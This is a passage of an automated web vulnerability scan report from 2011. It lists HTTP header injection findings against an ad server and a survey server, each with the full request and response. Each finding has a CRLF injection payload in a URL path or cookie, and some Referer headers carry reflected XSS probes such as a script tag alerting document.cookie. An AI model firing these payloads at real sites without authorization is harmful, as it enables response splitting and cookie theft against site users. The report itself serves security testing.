The value of REST URL parameter 1 is copied into the Location response header. The payload 84bba%0d%0a3dbcb4b9585 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /84bba%0d%0a3dbcb4b9585/N6138.6483.MENSHEALTH/B5295230.25;sz=1x1;pc=[TPAS_ID];ord=8309460? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/84bba
3dbcb4b9585/N6138.6483.MENSHEALTH/B5295230.25;sz=1x1;pc=[TPAS_ID];ord=8309460:
Date: Thu, 10 Mar 2011 16:43:33 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.20. http://ad.doubleclick.net/ad/N6357.menshealth.comOX4549/B4645123.52 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N6357.menshealth.comOX4549/B4645123.52

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 3c2b9%0d%0a6d4346a60d9 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /3c2b9%0d%0a6d4346a60d9/N6357.menshealth.comOX4549/B4645123.52;sz=1x1;ord=8296241? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/3c2b9
6d4346a60d9/N6357.menshealth.comOX4549/B4645123.52;sz=1x1;ord=8296241:
Date: Thu, 10 Mar 2011 16:42:35 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.21. http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 6d03d%0d%0a4b47254b0af was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /6d03d%0d%0a4b47254b0af/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BAENoyPd4TZ7sN9X0lAeTivDnB_GQ74ECga7P3B7AjbcBwJyyARABGAEgvs7lDTgAUMTE0OECYMnm9obIo6AZoAHXsf3cA7oBCTcyOHg5MF9hc8gBCdoBOmZpbGU6Ly8vQzovY2RuL2V4YW1wbGVzL1NNXzcuMi4zOTI1X0ZpbGUyX0J1cnBfMS4zLjA4Lmh0bWy4AhioAwHRA6UdSeRjy2TM6ANs6APUB-gDwQfoA9UF9QMCAADE&num=1&sig=AGiWqtzNnBgIlsjs7mSmiiLAu_ySFar1ug&client=ca-pub-4063878933780912&adurl=;ord=1648973795? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1299795013&flash=10.2.154&url=file%3A%2F%2F%2FC%3A%2Fcdn%2Fexamples%2FSM_7.2.3925_File2_Burp_1.3.08.html&dt=1299773413750&shv=r20101117&jsv=r20110307&saldr=1&correlator=1299773413772&frm=0&adk=1607234649&ga_vid=2011621435.1299773414&ga_sid=1299773414&ga_hid=15489387&ga_fc=0&u_tz=-360&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1075&bih=949&fu=0&ifi=1&dtd=54&xpc=XwwY3tlWp2&p=file%3A//
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/6d03d
4b47254b0af/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19;sz=728x90;click=http: //googleads.g.doubleclick.net/aclk
Date: Thu, 10 Mar 2011 16:45:41 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.22. http://ad.doubleclick.net/adj/bicycling/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/bicycling/home

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 6c73c%0d%0a2b896a07724 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /6c73c%0d%0a2b896a07724/bicycling/home;rasegs=seg2;kw=;slot=123x204.1;topic=home;sbtpc=home;tile=2;sz=123x204;ord=972634134814143.1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.bicycling.com/?cm_sp=Network%20Banner-_-BI-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/6c73c
2b896a07724/bicycling/home;rasegs=seg2;kw=;slot=123x204.1;topic=home;sbtpc=home;tile=2;sz=123x204;ord=972634134814143.1:
Date: Thu, 10 Mar 2011 16:40:03 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.23. http://ad.doubleclick.net/adj/menshealth/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/menshealth/home

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7fb28%0d%0a5d755171d05 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7fb28%0d%0a5d755171d05/menshealth/home;rasegs=seg2;kw=;slot=728x90;topic=home;sbtpc=home;tile=1;sz=728x90;dcopt=ist;ord=3548400804866105.5 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/7fb28
5d755171d05/menshealth/home;rasegs=seg2;kw=;slot=728x90;topic=home;sbtpc=home;tile=1;sz=728x90;dcopt=ist;ord=3548400804866105.5:
Date: Thu, 10 Mar 2011 16:40:56 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.24. http://ad.doubleclick.net/adj/organicgardening/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/organicgardening/home

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2c10d%0d%0ab8b8b321907 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2c10d%0d%0ab8b8b321907/organicgardening/home;rasegs=seg2;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=2537748990580439.5 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.organicgardening.com/?cm_sp=Network%20Banner-_-OG-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2c10d
b8b8b321907/organicgardening/home;rasegs=seg2;kw=;slot=728x90.1;topic=home;sbtpc=home;tile=1;dcopt=ist;sz=728x90;ord=2537748990580439.5:
Date: Thu, 10 Mar 2011 16:45:07 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.25. http://ad.doubleclick.net/adj/prevention/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/prevention/home

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 3a618%0d%0abf6e70eb76b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /3a618%0d%0abf6e70eb76b/prevention/home;topic=home;sbtpc=home;cat=;kw=;tile=2;slot=203x88.1;sz=203x88;ord=4994262496475130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/3a618
bf6e70eb76b/prevention/home;topic=home;sbtpc=home;cat=;kw=;tile=2;slot=203x88.1;sz=203x88;ord=4994262496475130:
Date: Thu, 10 Mar 2011 16:40:05 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.26. http://ad.doubleclick.net/adj/prevention/lifelongbeauty [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/prevention/lifelongbeauty

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 11bac%0d%0acea0052660f was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /11bac%0d%0acea0052660f/prevention/lifelongbeauty;rasegs=seg2;topic=eb53a'style='xexpression(alert(1))'f8b875ad203;sbtpc=bobbibrown;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=6897114093881100? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/eb53a'style%3d'x%3aexpression(alert(1))'f8b875ad203/bobbi.brown
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/11bac
cea0052660f/prevention/lifelongbeauty;rasegs=seg2;topic=eb53a'style='xexpression(alert(1))'f8b875ad203;sbtpc=bobbibrown;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=6897114093881100:
Date: Thu, 10 Mar 2011 22:23:23 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.27. http://ad.doubleclick.net/adj/rodale/fitness [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/rodale/fitness

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 62f9f%0d%0a36bce5cafc7 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /62f9f%0d%0a36bce5cafc7/rodale/fitness;topic=8astonishingbenefitsofwalking;sbtpc=;cat=fitness;slot=160x600.1;tile=1;sz=160x600;kw=;ord=142681257566437120? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.rodale.com/benefits-walking?4bec2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eec68e81f22b=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/62f9f
36bce5cafc7/rodale/fitness;topic=8astonishingbenefitsofwalking;sbtpc=;cat=fitness;slot=160x600.1;tile=1;sz=160x600;kw=;ord=142681257566437120:
Date: Thu, 10 Mar 2011 22:18:52 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.28. http://ad.doubleclick.net/adj/runnersworld/community [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/runnersworld/community

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 89a70%0d%0a4a192a08534 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /89a70%0d%0a4a192a08534/runnersworld/community;rasegs=seg2;kw=;slot=728x90.1;topic=profile;sbtpc=blogviewpost;tile=1;dcopt=ist;sz=728x90;ord=226473612710833540? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/community/persona/index.jsp?UID=8381023245&plckPersonaPage=BlogViewPost&plckUserId=8381023245&plckPostId=Blog%3a8381023245Post%3abb649e12-3868-43dd-b515-23f9a69f8636&plckController=PersonaBlog&plckScript=personaScript&plckElementId=personaDest\6b663%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d424413273
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/89a70
4a192a08534/runnersworld/community;rasegs=seg2;kw=;slot=728x90.1;topic=profile;sbtpc=blogviewpost;tile=1;dcopt=ist;sz=728x90;ord=226473612710833540:
Date: Thu, 10 Mar 2011 22:19:51 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.29. http://ad.doubleclick.net/adj/runnersworld/home [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/runnersworld/home

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 113c7%0d%0a6798c3251f0 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /113c7%0d%0a6798c3251f0/runnersworld/home;rasegs=seg2;kw=;slot=150x186.1;topic=home;sbtpc=home;tile=2;sz=150x186;ord=479584154672920700? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.runnersworld.com/?cm_sp=Network%20Banner-_-RW-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/113c7
6798c3251f0/runnersworld/home;rasegs=seg2;kw=;slot=150x186.1;topic=home;sbtpc=home;tile=2;sz=150x186;ord=479584154672920700:
Date: Thu, 10 Mar 2011 16:40:03 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.30. http://ad.doubleclick.net/dot.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/dot.gif

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 3b862%0d%0a8ca34c13755 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /dot.gif3b862%0d%0a8ca34c13755?8285523 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/dot.gif3b862
8ca34c13755:
Date: Thu, 10 Mar 2011 16:42:30 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.31. http://ad.doubleclick.net/imp [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/imp

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 5fcd0%0d%0af26994b0bbc was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /5fcd0%0d%0af26994b0bbc;v7;j;222850430;5-0;1;12147288;0/0;41092130/41109917/1;;~aopt=3/0/83/0;~okv=;rasegs=seg2;topic=home;sbtpc=home;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;~cs=g%3fhttp://s0.2mdn.net/2521530/2017187_menopause_1.jpg HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|2818894/957634/15036,578176/951462/15032,1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb; __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/5fcd0
f26994b0bbc;v7;j;222850430;5-0;1;12147288;0/0;41092130/41109917/1;;~aopt=3/0/83/0;~okv=;rasegs=seg2;topic=home;sbtpc=home;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;~cs=g:
Date: Thu, 10 Mar 2011 16:40:33 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

1.32. http://amch.questionmarket.com/adsc/d876089/3/885674/adscout.php [ES cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d876089/3/885674/adscout.php

Issue detail

The value of the ES cookie is copied into the Set-Cookie response header. The payload b94cd%0d%0a0acdc94cdfa was submitted in the ES cookie. This caused a response containing an injected HTTP header.

Request

GET /adsc/d876089/3/885674/adscout.php?ord=8309460 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1; ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5Bb94cd%0d%0a0acdc94cdfa

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 16:43:13 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a210.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 16:43:12 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885674-3-1; expires=Mon, 30-Apr-2012 08:43:13 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5Bb94cd
0acdc94cdfa_876089-4k:xM-0; expires=Mon, 30-Apr-2012 08:43:13 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

1.33. http://amch.questionmarket.com/adsc/d876089/3/885678/adscout.php [ES cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d876089/3/885678/adscout.php

Issue detail

The value of the ES cookie is copied into the Set-Cookie response header. The payload da28e%0d%0af59a7dd42e was submitted in the ES cookie. This caused a response containing an injected HTTP header.

Request

GET /adsc/d876089/3/885678/adscout.php?ord=8309460 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1; ES=da28e%0d%0af59a7dd42e

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 16:43:11 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a208.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 16:43:10 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885678-3-1; expires=Mon, 30-Apr-2012 08:43:11 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=da28e
f59a7dd42e_876089-2k:xM-0; expires=Mon, 30-Apr-2012 08:43:11 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

1.34. http://amch.questionmarket.com/adsc/d876089/3/885679/adscout.php [ES cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d876089/3/885679/adscout.php

Issue detail

The value of the ES cookie is copied into the Set-Cookie response header. The payload 9b893%0d%0a01a1d42b0c5 was submitted in the ES cookie. This caused a response containing an injected HTTP header.

Request

GET /adsc/d876089/3/885679/adscout.php?ord=8309460 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.menshealth.com/?cm_mmc=MSN0Paid0Search-_-Mens0Health0Brand-_-Menshealth-_-Mens0Health%7c-%7c1026991568
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1; ES=9b893%0d%0a01a1d42b0c5

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 16:43:14 GMT
